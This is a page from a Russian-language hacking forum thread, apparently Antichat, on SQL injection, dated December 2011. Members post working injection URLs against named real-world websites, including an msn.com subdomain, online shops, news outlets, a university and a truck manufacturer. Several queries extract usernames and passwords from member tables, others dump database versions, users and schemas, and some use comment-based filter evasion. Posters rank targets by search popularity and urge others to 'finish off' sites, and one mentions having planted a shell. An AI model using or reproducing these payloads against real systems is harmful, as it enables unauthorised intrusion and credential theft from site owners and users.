SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 723 of 798
  1. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Поддомен msn.com
    URL:
    Code:
    http://recettes.styledevie.ca.msn.com/forum/message.php?id=292963+and+1=0+union+select+1,2,3,4,group_concat%28concat_ws%280x3a3a3a,password,pseudonyme%29+separator+0x0b%29,6,7,8,9,10,11+from+membres+WHERE+pseudonyme=%27Hope%27+limit+0,20--
    Database: recettes
    Version MySQL: 5.1.38-community-log
    User: [email protected]

    Сначала скуль была под грифом "Top Secret", теперь, думаю могу её запостить! ;)

    -----------------------------------------------------------------------------

    URL:
    Code:
    http://crimeahouse.net/doska/ind.php?id_typ=-6+union+/*!select*/+1,2,3,4,5,6,%28/*!select*/%28@x%29from%28/*!select*/%28@x:=0x00%29,%28/*!select*/%28null%29from%28information_schema./*!columns*/%29where%28table_schema!=0x696e666f726d6174696f6e5f736368656d61%29and%280x00%29in%28@x:=/*!concat%28@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name%29*/%29%29%29x%29,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    Database: crimeaho_doska
    Version MySQL: 5.0.92-community
    User: crimeaho_admin@localhost

    тИЦ: 10
    PR: 1
    -----------------------------------------------------------------------------
    URL:
    Code:
    http://www.totalmma.ru/biography.php?id=2+and+1=0+union+select+1,concat_ws%280x3a3a3a,user%28%29,database%28%29,version%28%29%29--
    Database: fightn_mma
    Version MySQL: 5.1.56
    User: fightn@localhost

    тИЦ: 0
    PR: 1

    P.S Шелл лил не через скулю ;)
     
    #14441 Osstudio, 6 Dec 2011
    Last edited: 6 Dec 2011
    3 people like this.
  2. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    ещё один шоп))
     
    #14442 stepashka_, 7 Dec 2011
    1 person likes this.
  3. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    ВИАГРА + сюприз
    №1
    HTML:
    http://acomplia.viagranow.eu/getdata.php?id=1+union+select+version(),2--+f
    №2
    HTML:
    http://online-viagranow.com/getdata.php?id=1+union+select+version(),2--+f
    №3
    HTML:
    http://reductil-meridia.biz/getdata.php?id=1+union+select+version(),2--+f
    №4
    HTML:
    http://viagra-freeonline.biz/getdata.php?id=1+union+select+version(),2--+f
    №5
    HTML:
    http://viagranow.biz/getdata.php?id=1+union+select+version(),2--+f
    №6
    HTML:
    http://www.meds4u.eu/getdata.php?id=1+union+select+version(),2--+f
    №7
    HTML:
    http://www.viagra-4u.com/getdata.php?id=1+union+select+version(),2--+f
    №8
    HTML:
    http://www.viagra-enligne.com/getdata.php?id=1+union+select+version(),2--+f
    А вот и сюприз. Все сайты на одном сервере, по следам stepaska_ :p
     
    #14443 Ereee, 7 Dec 2011
    2 people like this.
  4. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.show.ru/

    [​IMG]

    http://www.show.ru/index.php?cat=247&eventId=-46589%20and%201=2%20union%20select%20concat_ws(char(58),@@version,user(),database(),@@version_compile_os)+--

    5.0.77-log [email protected] admin_beta redhat-linux-gn

    если кому не лень.....добивайте....http://www.show.ru/index.php?cat=247&eventId=-46589%20and%201=2%20union%20select%20table_name+from%20information_schema.tables%20limit%2017524,1--
     
    #14444 AC//DC, 7 Dec 2011
  5. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    офф сайт СMS

    Code:
    http://www.jasawebsitemurah.info/cms/view.php?idArtikel=1+union+select+1,2,3,concat_ws(0x3a,username,password),5,6,7,8+from+jasaweb_cms.user+limit+0,1+--+
    пароли/хеши нельзя выкладывать
     
    #14445 Pirotexnik, 8 Dec 2011
    Last edited by a moderator: 8 Dec 2011
  6. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Code:
    http://student.d3ti.mipa.uns.ac.id/arkan/view.php?idArtikel=-19+union+select+1,2,concat_ws(%200x3a,username,password),4,5,6,7,8+from+user+limit+0,1+--+
     
    #14446 Pirotexnik, 9 Dec 2011
  7. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тИЦ 100
    Code:
    http://fortland.ru/index.html?action=news&act=news_p&id=99999999/*--*/UnIoN/*--*/SeleCt/*--*/1,@@version,3,4,5,6,7,8--
    P.S: через несколько секунд "выбрасывает" на другую страницу....
    Code:
    http://fortland.ru/index.html?action=news&act=news_p&id=99999999/*--*/UnIoN/*--*/SeleCt/*--*/1,group_concat%28TABLE_NAME%29,3,4,5,6,7,8/*--*/FrOm/*--*/INFORMATION_SCHEMA.TABLES--+
     
    #14447 aydin-ka, 9 Dec 2011
  8. cylaaaan

    cylaaaan Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    0
    Likes Received:
    44
    Reputations:
    8
    Тиц 70

    Тиц 1500
    www.iteam.ru

    PHP:
    http://www.iteam.ru/articles.php?pid=1&tid=2&sid=16&id=-131/**/UnION/**/SeLEcT/**/1,2,UNHEX(HEX(version())),4,5,6,7--
    Тиц 210
    www.ndelo.ru

    Code:
    http://www.ndelo.ru/survey.php?qid=241+union+select+1,2,3,4,5,6,7,8,9,10,11--&r=0.19475362145586483
    Давайте вместе раскрутим эту скулю, фильтруется слово select
     
    #14448 cylaaaan, 10 Dec 2011
    Last edited: 10 Dec 2011
  9. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Я могу ошибатся, но помоему не выйдет. Долбался с таким методом защиты, он все запросы приводит к нижнему регистру и сверяет ключами. Если там есть структуры типа +select - отсекается запрос. Надежда только на другие запросы, т.к. фильтруют в основном get\post.
    Попробуй кук\хедер. Я не дома, попробовать не выйдет :)
     
    #14449 Pirotexnik, 10 Dec 2011
  10. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Кроме blind вариантов не вижу...
    database():ndelo_bases
     
    #14450 Ereee, 10 Dec 2011
  11. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    http://www.unidata.com.ua/index.php?pg=14&id_c=5&id_t=-13+union+select+version()+--+
     
    #14451 stepashka_, 10 Dec 2011
    1 person likes this.
  12. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://www.navigat.ru/good.php?id=-46+union+select+1,2,3,4,5,6,7,8,9,10,11,12
     
    #14452 OxoTnik, 12 Dec 2011
    Last edited: 12 Dec 2011
    1 person likes this.
  13. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    [email protected]:5.1.41-log:jeltiy_db

    c1_sevportal@localhost:5.1.41-3ubuntu12.10:c1_sevportal
     
    #14453 stepashka_, 12 Dec 2011
    Last edited: 12 Dec 2011
    1 person likes this.
  14. cylaaaan

    cylaaaan Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    0
    Likes Received:
    44
    Reputations:
    8
    Автомобильный завод "УРАЛ"

    Тиц 950

    Code:
    http://www.uralaz.ru/motor_show.php?id=-13/**/unIoN/**/seLect/**/1,version(),3,4,5--&sub=1
    4.0.20-log
     
    #14454 cylaaaan, 12 Dec 2011
    1 person likes this.
  15. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Code:
    http://interpretive.ru/dictionary/459/word/-1218%27+union+select+1,2,3,4,5,6,7,8,9,group_concat%28table_name%29,11,12,13+from+information_schema.tables+where+table_schema=database%28%29+--+
    5.1.57
    Тиц - 275
    PR - 5
     
    #14455 shadowrun, 12 Dec 2011
  16. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    sizampskov_sizam@localhost:5.0.77-log:sizampskov_sizam

    studiovitrum_v@localhost:5.0.77

    5.1.41-log

    4.1.24-log
     
    #14456 stepashka_, 12 Dec 2011
    Last edited: 12 Dec 2011
    1 person likes this.
  17. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Code:
    http://www.pn.mk.ua/servicepages.php?%20type_page=-contacts%27+union+select+concat_ws%280x3b,Version%28%29,database%28%29,user%28%29%29+--+
    5.2.4-MariaDB;prestupnos_db;root@localhost
    ТИЦ - 450
    PR - 4
     
    #14457 shadowrun, 13 Dec 2011
  18. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    721
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.eustudies.org/conference.php?cid=-6+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,4,5,6,7,8,9,10,11,12,13,14--
    [email protected]:5.0.91-log:eusa_main

    GooglePR: 6
     
    #14458 av1, 13 Dec 2011
  19. g0rm0n

    g0rm0n New Member

    Joined:
    18 Aug 2010
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    ТИЦ: 2100

    Code:
    http://vn.ru/index.php?id=-103788+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--+
    5.1.50-log:sibkray_site:sibkray_site@localhost
     
    #14459 g0rm0n, 13 Dec 2011
  20. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    4.0.22-standard:root@localhost:domsite

    5.0.51a-community

    4.1.16-nt

    ecologyand_voron@localhost:5.0.26-log:ecologyand_voron

    5.1.41-log:[email protected]:metratech_db


    5.0.88:mo@localhost:mo

    5.0.92-community
     
    #14460 stepashka_, 13 Dec 2011
    Last edited by a moderator: 13 Dec 2011
    1 person likes this.
(You must log in or sign up to post here.)
Page 723 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.